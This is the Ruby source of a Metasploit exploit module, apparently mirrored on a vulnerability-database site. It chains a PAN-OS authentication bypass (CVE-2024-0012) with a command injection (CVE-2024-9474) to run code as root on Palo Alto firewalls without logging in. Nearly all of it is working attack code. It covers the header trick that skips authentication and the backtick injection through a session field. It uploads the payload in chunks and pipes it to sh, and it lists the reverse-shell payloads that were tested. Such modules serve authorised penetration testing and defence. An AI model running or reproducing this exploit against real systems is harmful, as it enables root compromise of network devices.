##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
execute arbitrary code with root privileges.
The following versions are affected:
* PAN-OS 11.2 (up to and including 11.2.4-h1)
* PAN-OS 11.1 (up to and including 11.1.5-h1)
* PAN-OS 11.0 (up to and including 11.0.6-h1)
* PAN-OS 10.2 (up to and including 10.2.12-h2)
},
'License' => MSF_LICENSE,
'Author' => [
'watchTowr', # Technical Analysis
'sfewer-r7' # Metasploit module
],
'References' => [
['CVE', '2024-0012'],
['CVE', '2024-9474'],
# Vendor Advisories
['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'],
['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'],
# Technical Analysis
['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/']
],
'DisclosureDate' => '2024-11-18',
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ARCH_CMD],
'Privileged' => true, # Executes as root on Linux
'Targets' => [
[
'Default', {
'Payload' => {
# See the comment in the exploit method for how we calculated the payload Space value.
'Space' => 5670,
# We write the payload in chunks, which limits our total space, but is also slow, so we disable nops
# to ensure the payload is as small as possible.
'DisableNops' => true,
'BadChars' => '\\\'"&'
}
}
]
],
# NOTE: Tested with the payloads:
# cmd/linux/http/x64/meterpreter_reverse_tcp
# cmd/linux/http/x64/meterpreter/reverse_tcp
# cmd/unix/reverse_bash
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/var/tmp'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp'])
]
)
end
# Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to
# confirm the target is vulnerable. The check routine will delete this file after it has been read.
def check
check_file_name = Rex::Text.rand_text_alphanumeric(4)
# NOTE: We set dontfail to true, as a check routine cannot fail_with().
# return Safe if we fail to trigger the vulnerability and execute a command.
return CheckCode::Safe('The target is not vulnerable') unless execute_cmd(
"echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
dontfail: true
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('unauth', check_file_name)
)
return CheckCode::Unknown('Connection failed') unless res
if res.code == 200 && res.body.include?(check_file_name)
# return Unknown if we fail to trigger the vulnerability a second time.
return CheckCode::Unknown('Could not determine the target status') unless execute_cmd(
"rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
dontfail: true
)
return Exploit::CheckCode::Vulnerable('The target is vulnerable')
end
CheckCode::Safe('The target is not vulnerable')
end
# We can only execute a short command upon each invocation of the command injection vulnerability. To execute
# a Metasploit payload, we first write the payload to a file, but we do the file write in small
# chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
# chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
# We then amalgamate all these chunks together back into a single file, reconstituting the original payload.
# Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being
# executed twice, the payload will delete the single payload file upon the first execution of the payload,
# causing any second attempt to execute the payload to fail.
def exploit
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"
idx = 1
idx_prefix = ''
# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
# 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx
# value. So by default, the chunk size will be 36. However this may change as we write the chunks.
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
# we must recompute the chunk size, to ensure we dont go over the 63 character limit.
chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length
# We display the progress to the user, so track that with a current and max chunk number.
curr_chunk_number = 1
max_chunk_number = (bootstrap_payload.length / chunk_size) + 1
while bootstrap_payload && !bootstrap_payload.empty?
print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...")
chunk = bootstrap_payload[0, chunk_size]
bootstrap_payload = bootstrap_payload[chunk_size..]
execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}")
idx += 1
if idx > 9
idx = 1
idx_prefix += '9'
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
# next chunk must have 1 less character.
chunk_size -= 1
# If the payload was too big, and we run out of space in the command to write any chunk data, fail.
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
# would be a max MSF payload size of 5670 characters. Calculated with the command:
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
end
curr_chunk_number += 1
end
print_status('Amalgamating payload chunks...')
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}")
print_status('Executing payload...')
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true)
end
def execute_cmd(cmd, dontfail: false)
user = "`#{cmd}`"
# There is a 63 character limit for the command injection.
if user.length >= 64
fail_with(Failure::BadConfig, 'Command too long for execute_cmd')
end
vprint_status(user)
# Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474).
res1 = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"),
'headers' => {
'X-PAN-AUTHCHECK' => 'off'
},
'keep_cookies' => true,
'vars_post' => {
'user' => user,
'userRole' => 'superuser',
'remoteHost' => '',
'vsys' => 'vsys1'
}
)
unless res1&.code == 200
if dontfail
return false
end
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
end
unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' }
fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
end
# Trigger the command injection (CVE-2024-9474).
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('index.php', '.js.map'),
'keep_cookies' => true
)
unless res2&.code == 200
if dontfail
return false
end
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map')
end
true
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation